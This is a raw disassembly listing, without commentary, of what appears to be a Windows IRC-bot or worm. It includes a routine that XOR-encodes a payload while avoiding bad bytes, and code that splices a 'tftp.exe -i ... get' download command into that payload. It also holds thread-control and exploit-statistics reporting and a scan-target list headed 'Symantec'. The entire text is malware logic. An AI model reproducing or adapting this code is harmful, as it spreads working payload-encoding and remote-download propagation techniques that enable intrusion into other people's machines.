lea eax, [edi+esi+12h] mov dword_43171C, eax lea eax, [edi+1] mov dword_43173D, eax lea eax, [edi+17h] mov dword_431735, eax pop eax push 74h sub eax, edi push offset dword_4316B8 push ebx mov dword_43174B, eax call sub_41CD20 push esi lea eax, [ebx+74h] push [ebp+arg_8] push eax call sub_41CD20 add esi, 74h push 5 push (offset aTftp_exeIGet+0Ch) lea eax, [esi+ebx] push eax call sub_41CD20 add esi, 5 push edi push [ebp+arg_C] lea eax, [esi+ebx] push eax call sub_41CD20 add esi, edi push 10h push (offset aTftp_exeIGet+11h) lea eax, [esi+ebx] push eax call sub_41CD20 add esp, 44h add esi, 10h push edi lea eax, [esi+ebx] push [ebp+arg_C] push eax call sub_41CD20 add esi, edi push 38h add esi, ebx push offset byte_431741 push esi call sub_41CD20 mov eax, [ebp+var_4] add esp, 18h pop edi pop esi pop ebx leave retn sub_40B13C endp ; =============== S U B R O U T I N E ======================================= sub_40B214 proc near ; CODE XREF: sub_40B22B+Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40B11C push eax call sub_40B298 add esp, 0Ch retn sub_40B214 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B22B proc near ; CODE XREF: sub_40DCF9+32p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push edi mov edi, [ebp+arg_C] push edi push ebx call sub_40B214 cmp eax, [ebp+arg_4] pop ecx pop ecx ja short loc_40B24B cmp eax, 0FFFFh jbe short loc_40B24F loc_40B24B: ; CODE XREF: sub_40B22B+17j xor eax, eax jmp short loc_40B294 ; --------------------------------------------------------------------------- loc_40B24F: ; CODE XREF: sub_40B22B+1Ej push esi push edi push ebx call sub_40B11C add eax, 101h push eax call sub_41BEB5 add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_40B11C pop ecx pop ecx push eax push esi call sub_40B13C push eax push esi push [ebp+arg_4] push [ebp+arg_0] call sub_40B2B3 push esi mov edi, eax call sub_41BA91 add esp, 24h mov eax, edi pop esi loc_40B294: ; CODE XREF: sub_40B22B+22j pop edi pop ebx pop ebp retn sub_40B22B endp ; =============== S U B R O U T I N E ======================================= sub_40B298 proc near ; CODE XREF: sub_40B214+Ep ; sub_40B2B3+4Ap arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_40B2A1 inc ecx loc_40B2A1: ; CODE XREF: sub_40B298+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_40B298 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B2B3 proc near ; CODE XREF: sub_40B22B+56p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_C], 0Ah jz short loc_40B2CF cmp byte ptr [ebp+arg_C], 0Dh jz short loc_40B2CF cmp byte ptr [ebp+arg_C], 5Ch jz short loc_40B2CF cmp byte ptr [ebp+arg_C], 0 jnz short loc_40B2D2 loc_40B2CF: ; CODE XREF: sub_40B2B3+8j ; sub_40B2B3+Ej ... inc [ebp+arg_C] loc_40B2D2: ; CODE XREF: sub_40B2B3+1Aj push esi mov esi, 0FFh cmp [ebp+arg_C], esi jbe short loc_40B2FA mov eax, [ebp+arg_C] shr eax, 8 cmp al, 0Ah jz short loc_40B2F3 cmp al, 0Dh jz short loc_40B2F3 cmp al, 5Ch jz short loc_40B2F3 test al, al jnz short loc_40B2FA loc_40B2F3: ; CODE XREF: sub_40B2B3+32j ; sub_40B2B3+36j ... add [ebp+arg_C], 100h loc_40B2FA: ; CODE XREF: sub_40B2B3+28j ; sub_40B2B3+3Ej push [ebp+arg_C] call sub_40B298 cmp eax, [ebp+arg_4] pop ecx mov [ebp+var_4], eax ja short loc_40B312 cmp eax, 0FFFFh jbe short loc_40B319 loc_40B312: ; CODE XREF: sub_40B2B3+56j xor eax, eax jmp loc_40B3B7 ; --------------------------------------------------------------------------- loc_40B319: ; CODE XREF: sub_40B2B3+5Dj mov ecx, [ebp+arg_C] push ebx mov bl, byte_4CBB18 xor edx, edx push edi mov edi, [ebp+arg_8] test ecx, ecx jbe short loc_40B349 loc_40B32D: ; CODE XREF: sub_40B2B3+94j mov al, [edx+edi] xor al, bl jz short loc_40B340 cmp al, 0Ah jz short loc_40B340 cmp al, 0Dh jz short loc_40B340 cmp al, 5Ch jnz short loc_40B344 loc_40B340: ; CODE XREF: sub_40B2B3+7Fj ; sub_40B2B3+83j ... inc bl xor edx, edx loc_40B344: ; CODE XREF: sub_40B2B3+8Bj inc edx cmp edx, ecx jb short loc_40B32D loc_40B349: ; CODE XREF: sub_40B2B3+78j cmp ecx, esi mov byte_4CBB18, bl ja short loc_40B375 push 15h push offset loc_4316A0 push [ebp+arg_0] mov byte_4316AD, cl mov byte_4316B1, bl call sub_41CD20 add esp, 0Ch push 15h jmp short loc_40B396 ; --------------------------------------------------------------------------- loc_40B375: ; CODE XREF: sub_40B2B3+9Ej push 17h push offset loc_431688 push [ebp+arg_0] mov word_431696, cx mov byte_43169B, bl call sub_41CD20 add esp, 0Ch push 17h loc_40B396: ; CODE XREF: sub_40B2B3+C0j xor eax, eax pop ecx cmp [ebp+arg_C], eax jbe short loc_40B3B2 mov edx, [ebp+arg_0] lea esi, [ecx+edx] loc_40B3A4: ; CODE XREF: sub_40B2B3+FDj mov cl, [eax+edi] xor cl, bl mov [esi+eax], cl inc eax cmp eax, [ebp+arg_C] jb short loc_40B3A4 loc_40B3B2: ; CODE XREF: sub_40B2B3+E9j mov eax, [ebp+var_4] pop edi pop ebx loc_40B3B7: ; CODE XREF: sub_40B2B3+61j pop esi leave retn sub_40B2B3 endp ; =============== S U B R O U T I N E ======================================= sub_40B3BA proc near ; CODE XREF: ___:00401599p ; ___:004015D8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_43E710 loc_40B3C2: ; CODE XREF: sub_40B3BA+18j cmp byte ptr [eax], 0 jz short loc_40B3D6 add eax, 234h inc edi cmp eax, offset dword_4CB710 jl short loc_40B3C2 jmp short loc_40B421 ; --------------------------------------------------------------------------- loc_40B3D6: ; CODE XREF: sub_40B3BA+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_43E710[esi] push eax call sub_41BFD0 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_43E910[esi], eax and dword_43E914[esi], 0 mov eax, [esp+8+arg_8] and dword_43E918[esi], 0 mov dword_43E91C[esi], eax and byte_43E928[esi], 0 pop esi loc_40B421: ; CODE XREF: sub_40B3BA+1Aj mov eax, edi pop edi retn sub_40B3BA endp ; --------------------------------------------------------------------------- byte_40B425 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2946o dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h, 6C858D00h, 0FFFFFFFFh dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh dd 0C4830000h, 90006A14h, 2D4B8BE8h, 555E5F02h, 0EC81EC8Bh dd 200h, 6A5756h, 681075FFh, 43177Ch, 0FF0C75FFh, 0D2E80875h dd 83FFFFE3h, 0FF3314C4h, 43E710BEh, 3E8000h, 7D833C74h dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h dd 0C54068FFh, 0E8500042h, 10D9Eh, 858D016Ah, 0FFFFFE00h dd 501075FFh, 0FF0C75FFh, 8AE80875h, 83FFFFE3h, 0C68124C4h dd 234h, 10FE8147h, 7C004CB7h, 0C95E5FB0h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_40B4F5 proc near ; CODE XREF: sub_401ACD+79AAp ; sub_40B583+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40B57D cmp esi, 400h jge short loc_40B57D imul esi, 234h push edi push ebx push dword_43E924[esi] lea edi, dword_43E924[esi] nop call near ptr 26908E5h cmp [edi], ebx jz short loc_40B52D push 1 pop ebp loc_40B52D: ; CODE XREF: sub_40B4F5+33j mov [edi], ebx lea edi, dword_43E918[esi] mov dword_43E910[esi], ebx mov dword_43E914[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40B54E push eax call sub_419F16 pop ecx loc_40B54E: ; CODE XREF: sub_40B4F5+50j mov [edi], ebx lea edi, dword_43E91C[esi] mov byte ptr dword_43E710[esi], bl mov byte_43E928[esi], bl push dword ptr [edi] call dword_4CBA6C lea esi, dword_43E920[esi] mov [edi], ebx push dword ptr [esi] call dword_4CBA6C mov [esi], ebx pop edi loc_40B57D: ; CODE XREF: sub_40B4F5+Dj ; sub_40B4F5+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40B4F5 endp ; =============== S U B R O U T I N E ======================================= sub_40B583 proc near ; CODE XREF: sub_40111D+18p ; ___:loc_4017D9p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_43E710 loc_40B58F: ; CODE XREF: sub_40B583+2Aj cmp byte ptr [esi], 0 jz short loc_40B5A0 push edi call sub_40B4F5 test eax, eax pop ecx jz short loc_40B5A0 inc ebx loc_40B5A0: ; CODE XREF: sub_40B583+Fj ; sub_40B583+1Aj add esi, 234h inc edi cmp esi, offset dword_4CB710 jl short loc_40B58F pop edi mov eax, ebx pop esi pop ebx retn sub_40B583 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B5B5 proc near ; CODE XREF: sub_401ACD+41B2p ; sub_401ACD+4302p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_43E914 loc_40B5C9: ; CODE XREF: sub_40B5B5+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40B5EB test edi, edi jle short loc_40B5DD cmp [esi], edi jz short loc_40B5DD cmp ebx, edi jnz short loc_40B5EB loc_40B5DD: ; CODE XREF: sub_40B5B5+1Ej ; sub_40B5B5+22j push ebx call sub_40B4F5 test eax, eax pop ecx jz short loc_40B5EB inc [ebp+var_4] loc_40B5EB: ; CODE XREF: sub_40B5B5+1Aj ; sub_40B5B5+26j ... add esi, 234h inc ebx cmp esi, offset dword_4CB914 jl short loc_40B5C9 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40B5B5 endp ; =============== S U B R O U T I N E ======================================= sub_40B602 proc near ; CODE XREF: ___:00401630p ; sub_401ACD+95Ep ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_43E910 loc_40B609: ; CODE XREF: sub_40B602+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40B612 inc eax loc_40B612: ; CODE XREF: sub_40B602+Dj add ecx, 234h cmp ecx, offset dword_4CB910 jl short loc_40B609 retn sub_40B602 endp ; =============== S U B R O U T I N E ======================================= sub_40B621 proc near ; CODE XREF: sub_401ACD+23D9p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_43E910 loc_40B62B: ; CODE XREF: sub_40B621+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40B644 add ecx, 234h inc edx cmp ecx, offset dword_4CB910 jl short loc_40B62B pop esi retn ; --------------------------------------------------------------------------- loc_40B644: ; CODE XREF: sub_40B621+10j mov eax, edx pop esi retn sub_40B621 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B648 proc near ; CODE XREF: sub_401ACD+123Dp ; sub_401ACD+125Bp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_40B661 push [ebp+arg_1C] call sub_41C159 pop ecx loc_40B661: ; CODE XREF: sub_40B648+Ej push eax push [ebp+arg_18] call sub_40B5B5 pop ecx test eax, eax pop ecx jle short loc_40B68D push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax call sub_41C266 add esp, 14h jmp short loc_40B6A7 ; --------------------------------------------------------------------------- loc_40B68D: ; CODE XREF: sub_40B648+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax call sub_41C266 add esp, 10h loc_40B6A7: ; CODE XREF: sub_40B648+43j cmp [ebp+arg_C], 0 jnz short loc_40B6C7 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_40B6C7: ; CODE XREF: sub_40B648+63j lea eax, [ebp+var_200] push eax call sub_415D38 pop ecx leave retn sub_40B648 endp ; =============== S U B R O U T I N E ======================================= sub_40B6D6 proc near ; CODE XREF: sub_4017ED+159p ; ___:0040BD0Bp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_43E924[eax], ecx mov dword_43E910[eax], ecx mov dword_43E914[eax], ecx mov dword_43E918[eax], ecx mov dword_43E91C[eax], ecx mov dword_43E920[eax], ecx mov byte ptr dword_43E710[eax], cl mov byte_43E928[eax], cl retn sub_40B6D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B713 proc near ; CODE XREF: sub_401ACD+7C2Bp ; sub_40B841+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_40B71D: ; CODE XREF: sub_40B713+68j mov cl, [esi] test cl, cl jz short loc_40B77D cmp eax, 1 jnz short loc_40B77D mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40B77D cmp cl, 2Ah jz short loc_40B764 cmp cl, 3Fh jz short loc_40B747 cmp cl, 5Bh jz short loc_40B74C xor eax, eax cmp cl, dl setz al loc_40B747: ; CODE XREF: sub_40B713+26j inc [ebp+arg_4] jmp short loc_40B777 ; --------------------------------------------------------------------------- loc_40B74C: ; CODE XREF: sub_40B713+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40B7A9 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_40B777 ; --------------------------------------------------------------------------- loc_40B764: ; CODE XREF: sub_40B713+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40B841 mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_40B777: ; CODE XREF: sub_40B713+37j ; sub_40B713+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_40B71D ; --------------------------------------------------------------------------- loc_40B77D: ; CODE XREF: sub_40B713+Ej ; sub_40B713+13j ... cmp byte ptr [esi], 2Ah jnz short loc_40B78D cmp eax, 1 jnz short loc_40B7A4 inc esi mov [ebp+arg_0], esi jmp short loc_40B77D ; --------------------------------------------------------------------------- loc_40B78D: ; CODE XREF: sub_40B713+6Dj cmp eax, 1 jnz short loc_40B7A4 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40B7A4 cmp byte ptr [esi], 0 jnz short loc_40B7A4 push 1 pop eax jmp short loc_40B7A6 ; --------------------------------------------------------------------------- loc_40B7A4: ; CODE XREF: sub_40B713+72j ; sub_40B713+7Dj ... xor eax, eax loc_40B7A6: ; CODE XREF: sub_40B713+8Fj pop esi pop ebp retn sub_40B713 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B7A9 proc near ; CODE XREF: sub_40B713+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40B7CA inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40B7CA: ; CODE XREF: sub_40B7A9+19j push ebx push esi loc_40B7CC: ; CODE XREF: sub_40B7A9+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40B7DA cmp [ebp+var_4], eax jnz short loc_40B826 loc_40B7DA: ; CODE XREF: sub_40B7A9+2Aj test edi, edi jnz short loc_40B81B cmp bl, 2Dh jnz short loc_40B80F mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_40B80F cmp al, 5Dh jz short loc_40B80F cmp [ebp+var_4], edi jnz short loc_40B80F mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40B81B cmp bl, al jg short loc_40B81B push 1 mov [edx], esi pop edi jmp short loc_40B81B ; --------------------------------------------------------------------------- loc_40B80F: ; CODE XREF: sub_40B7A9+38j ; sub_40B7A9+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40B81B push 1 pop edi loc_40B81B: ; CODE XREF: sub_40B7A9+33j ; sub_40B7A9+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_40B7CC ; --------------------------------------------------------------------------- loc_40B826: ; CODE XREF: sub_40B7A9+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40B833 mov ecx, eax sub ecx, edi mov edi, ecx loc_40B833: ; CODE XREF: sub_40B7A9+82j cmp edi, eax jnz short loc_40B83C mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40B83C: ; CODE XREF: sub_40B7A9+8Cj mov eax, edi pop edi leave retn sub_40B7A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B841 proc near ; CODE XREF: sub_40B713+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_40B85D: ; CODE XREF: sub_40B841+3Aj cmp [eax], bl jz short loc_40B87D mov cl, [ecx] cmp cl, 3Fh jz short loc_40B872 cmp cl, 2Ah jnz short loc_40B87D cmp cl, 3Fh jnz short loc_40B875 loc_40B872: ; CODE XREF: sub_40B841+25j inc eax mov [edi], eax loc_40B875: ; CODE XREF: sub_40B841+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_40B85D ; --------------------------------------------------------------------------- loc_40B87D: ; CODE XREF: sub_40B841+1Ej ; sub_40B841+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_40B888 inc dword ptr [esi] jmp short loc_40B87D ; --------------------------------------------------------------------------- loc_40B888: ; CODE XREF: sub_40B841+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_40B8A9 mov edx, [esi] cmp [edx], bl jz short loc_40B89A xor eax, eax jmp short loc_40B909 ; --------------------------------------------------------------------------- loc_40B89A: ; CODE XREF: sub_40B841+53j cmp cl, bl jnz short loc_40B8A9 mov ecx, [esi] cmp [ecx], bl jnz short loc_40B8A9 push 1 pop eax jmp short loc_40B909 ; --------------------------------------------------------------------------- loc_40B8A9: ; CODE XREF: sub_40B841+4Dj ; sub_40B841+5Bj ... push eax push dword ptr [esi] call sub_40B713 pop ecx test eax, eax pop ecx jnz short loc_40B8F3 loc_40B8B7: ; CODE XREF: sub_40B841+B0j inc dword ptr [edi] mov eax, [edi] loc_40B8BB: ; CODE XREF: sub_40B841+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_40B8D3 cmp cl, 5Bh jz short loc_40B8D3 cmp dl, bl jz short loc_40B8D3 inc eax mov [edi], eax jmp short loc_40B8BB ; --------------------------------------------------------------------------- loc_40B8D3: ; CODE XREF: sub_40B841+82j ; sub_40B841+87j ... mov eax, [edi] cmp [eax], bl jz short loc_40B8EA push eax push dword ptr [esi] call sub_40B713 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B8EF ; --------------------------------------------------------------------------- loc_40B8EA: ; CODE XREF: sub_40B841+96j mov [ebp+var_4], ebx xor eax, eax loc_40B8EF: ; CODE XREF: sub_40B841+A7j cmp eax, ebx jnz short loc_40B8B7 loc_40B8F3: ; CODE XREF: sub_40B841+74j mov eax, [edi] cmp [eax], bl jnz short loc_40B906 mov eax, [esi] cmp [eax], bl jnz short loc_40B906 mov [ebp+var_4], 1 loc_40B906: ; CODE XREF: sub_40B841+B6j ; sub_40B841+BCj mov eax, [ebp+var_4] loc_40B909: ; CODE XREF: sub_40B841+57j ; sub_40B841+66j pop edi pop esi pop ebx leave retn sub_40B841 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B90E proc near ; CODE XREF: sub_401ACD+2AB2p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_431B94 push eax xor ebx, ebx call sub_41C266 cmp dword_4317F8, ebx pop ecx pop ecx mov edi, 200h jz short loc_40B980 push esi mov esi, offset dword_431800 loc_40B941: ; CODE XREF: sub_40B90E+6Fj mov eax, [esi] test eax, eax jbe short loc_40B976 add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset dword_431B88 push eax call sub_41C266 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41CBC0 add esp, 1Ch loc_40B976: ; CODE XREF: sub_40B90E+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_40B941 pop esi loc_40B980: ; CODE XREF: sub_40B90E+2Bj push dword_4CB714 call sub_41ADD8 pop ecx push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_41C266 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41CBC0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_200] push eax call sub_415D38 add esp, 34h pop edi pop ebx leave retn sub_40B90E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B9DD proc near ; CODE XREF: sub_401ACD+2A9Cp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, dword_4CE4E0 mov ecx, dword_4CE4DC push esi push dword_4CB714 lea esi, [ecx+eax] call sub_41ADD8 pop ecx push eax push esi push dword_4CE4E0 lea eax, [ebp+var_200] push dword_4CE4DC push offset unk_431BB4 push eax call sub_41C266 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_200] push eax call sub_415D38 add esp, 30h pop esi leave retn sub_40B9DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA49 proc near ; CODE XREF: sub_401ACD+2A86p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push dword_4CB714 call sub_41ADD8 pop ecx push eax lea eax, [ebp+var_200] push dword_4CE718 push offset unk_431BFC push eax call sub_41C266 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_200] push eax call sub_415D38 add esp, 28h leave retn sub_40BA49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA9E proc near ; CODE XREF: sub_401ACD+2A70p var_1000 = byte ptr -1000h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_41C500 push edi lea eax, [ebp+var_800] push offset dword_431C48 push eax call sub_41C266 cmp dword_4317F8, 0 pop ecx pop ecx mov edi, 800h jz short loc_40BB0A push esi mov esi, offset aSymantec ; "Symantec" loc_40BAD3: ; CODE XREF: sub_40BA9E+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+var_1000] push offset dword_431C38 push eax call sub_41C266 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41CBC0 add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_40BAD3 pop esi loc_40BB0A: ; CODE XREF: sub_40BA9E+2Dj push dword_4CB714 call sub_41ADD8 pop ecx push eax lea eax, [ebp+var_1000] push offset aScanTimeS_ ; " Scan Time: %s." push eax call sub_41C266 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41CBC0 push 0 lea eax, [ebp+var_800] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_800] push eax call sub_415D38 add esp, 30h pop edi leave retn sub_40BA9E endp ; --------------------------------------------------------------------------- byte_40BB65 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+309Ao ; --------------------------------------------------------------------------- sub esp, 3F0h mov eax, [ebp+8] push ebx push esi push edi push 4Bh mov esi, eax pop ecx lea edi, [ebp-134h] rep movsd mov dword ptr [eax+128h], 1 lea eax, [ebp-134h] push eax call dword_4CBA14 xor edi, edi mov [ebp-8], eax cmp dword_4317F8, edi mov [ebp-4], edi mov [ebp+8], edi jz loc_40BCC7 mov ebx, offset dword_4317F8 mov eax, ebx loc_40BBB6: ; CODE XREF: ___:0040BCC1j push dword ptr [ebp-1Ch] push dword ptr [eax] push dword ptr [ebp-8] call sub_40C34B add esp, 0Ch cmp eax, 1 jnz loc_40BCB7 push dword ptr [ebx] lea esi, [ebx-28h] lea eax, [ebp-134h] push eax lea eax, [esi+0Ah] push eax lea eax, [ebp-3F0h] push offset unk_431C98 push eax call sub_41C266 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409869 lea eax, [ebp-3F0h] push eax call sub_415D38 add esp, 2Ch lea eax, [ebp-134h] push eax lea eax, [ebp-1ECh] push eax call sub_41C266 pop ecx lea eax, [ebp-15Ch] pop ecx push esi push eax call sub_41C266 cmp byte ptr [ebp-0A4h], 0 pop ecx pop ecx lea eax, [ebp-0A4h] jnz short loc_40BC52 lea eax, [ebp-124h] loc_40BC52: ; CODE XREF: ___:0040BC4Aj push eax lea eax, [ebp-1DCh] push eax call sub_41C266 mov eax, [ebp-24h] pop ecx mov [ebp-1F0h], eax mov eax, [ebp-14h] mov [ebp-140h], eax mov eax, [ebp-10h] pop ecx mov [ebp-13Ch], eax mov eax, [ebx] sub esp, 0BCh mov [ebp-150h], eax mov eax, [ebp-18h] push 2Fh mov [ebp-14Ch], eax mov eax, [ebp+8] pop ecx lea esi, [ebp-1F0h] mov edi, esp mov [ebp-148h], eax rep movsd call dword ptr [ebx+4] add esp, 0BCh inc dword ptr [ebp-4] xor edi, edi loc_40BCB7: ; CODE XREF: ___:0040BBC9j inc dword ptr [ebp+8] add ebx, 40h mov eax, ebx cmp [ebx], edi jnz loc_40BBB6 loc_40BCC7: ; CODE XREF: ___:0040BBA9j push dword ptr [ebp-4] lea eax, [ebp-134h] push eax lea eax, [ebp-3F0h] push offset unk_431C64 push eax call sub_41C266 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409869 lea eax, [ebp-3F0h] push eax call sub_415D38 push dword ptr [ebp-18h] call sub_40B6D6 add esp, 2Ch push edi ; --------------------------------------------------------------------------- dd 2D42E7E8h db 2, 90h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BD1A proc near ; CODE XREF: sub_401ACD+23F4p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40B602 test eax, eax pop ecx jle short loc_40BD56 mov eax, [ebp+arg_C] push dword_4CBB20[eax*8] call dword_4CBA60 push eax lea eax, [ebp+var_200] push offset unk_431CE8 push eax call sub_41C266 add esp, 0Ch jmp short loc_40BD69 ; --------------------------------------------------------------------------- loc_40BD56: ; CODE XREF: sub_40BD1A+13j lea eax, [ebp+var_200] push offset unk_431CC8 push eax call sub_41C266 pop ecx pop ecx loc_40BD69: ; CODE XREF: sub_40BD1A+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_200] push eax call sub_415D38 add esp, 18h leave retn sub_40BD1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BD91 proc near ; CODE XREF: sub_40C3E8+267p var_210 = 